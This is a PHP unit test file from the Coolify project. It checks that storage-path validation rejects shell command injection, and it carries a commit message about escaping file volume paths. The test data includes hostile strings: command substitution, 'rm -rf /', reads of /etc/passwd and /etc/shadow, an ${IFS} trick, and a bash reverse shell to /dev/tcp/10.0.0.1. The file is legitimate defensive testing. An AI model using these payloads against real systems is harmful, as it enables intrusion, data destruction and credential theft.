coolify/tests/Unit/FileStorageSecurityTest.php
Andras Bacsai 3fdce06b65 fix(storage): consistent path validation and escaping for file volumes
Ensure all file volume paths are validated and properly escaped before
use. Previously, only directory mount paths were validated at the input
layer — file mount paths now receive the same treatment across Livewire
components, API controllers, and the model layer.

- Validate and escape fs_path at the top of saveStorageOnServer() before
  any commands are built
- Add path validation to submitFileStorage() in Storage Livewire component
- Add path validation to file mount creation in Applications, Services,
  and Databases API controllers
- Add regression tests for path validation coverage

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-25 23:44:37 +01:00

143 lines
5 KiB
PHP

<?php
/**
* File Storage Security Tests
*
* Tests to ensure file storage directory mount functionality is protected against
* command injection attacks via malicious storage paths.
*
* Related Issues: #6 in security_issues.md
* Related Files:
* - app/Models/LocalFileVolume.php
* - app/Livewire/Project/Service/Storage.php
*/
test('file storage rejects command injection in path with command substitution', function () {
expect(fn () => validateShellSafePath('/tmp$(whoami)', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
->toThrow(Exception::class);
});
test('file storage escapes paths properly', function () {
$path = "/var/www/app's data";
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/app'\\''s data'");
});
test('file storage escapes paths with spaces', function () {
$path = '/var/www/my app/data';
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/my app/data'");
});
test('file storage escapes paths with special characters', function () {
$path = '/var/www/app (production)/data';
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/app (production)/data'");
});
test('file storage accepts legitimate absolute paths', function () {
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
->not->toThrow(Exception::class);
});
test('file storage accepts paths with underscores and hyphens', function () {
expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
// --- Regression tests for GHSA-46hp-7m8g-7622 ---
// These verify that file mount paths (not just directory mounts) are validated,
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
test('file storage rejects command injection in file mount path context', function () {
$maliciousPaths = [
'/app/config$(id)',
'/app/config;whoami',
'/app/config|cat /etc/passwd',
'/app/config`id`',
'/app/config&whoami',
'/app/config>/tmp/pwned',
'/app/config</etc/shadow',
"/app/config\nrm -rf /",
];
foreach ($maliciousPaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->toThrow(Exception::class);
}
});
test('file storage rejects variable substitution in paths', function () {
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
->toThrow(Exception::class);
});
test('file storage accepts safe file mount paths', function () {
$safePaths = [
'/etc/nginx/nginx.conf',
'/app/.env',
'/data/coolify/services/abc123/config.yml',
'/var/www/html/index.php',
'/opt/app/config/database.json',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->not->toThrow(Exception::class);
}
});
test('file storage accepts relative dot-prefixed paths', function () {
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('./data', 'storage path'))
->not->toThrow(Exception::class);
});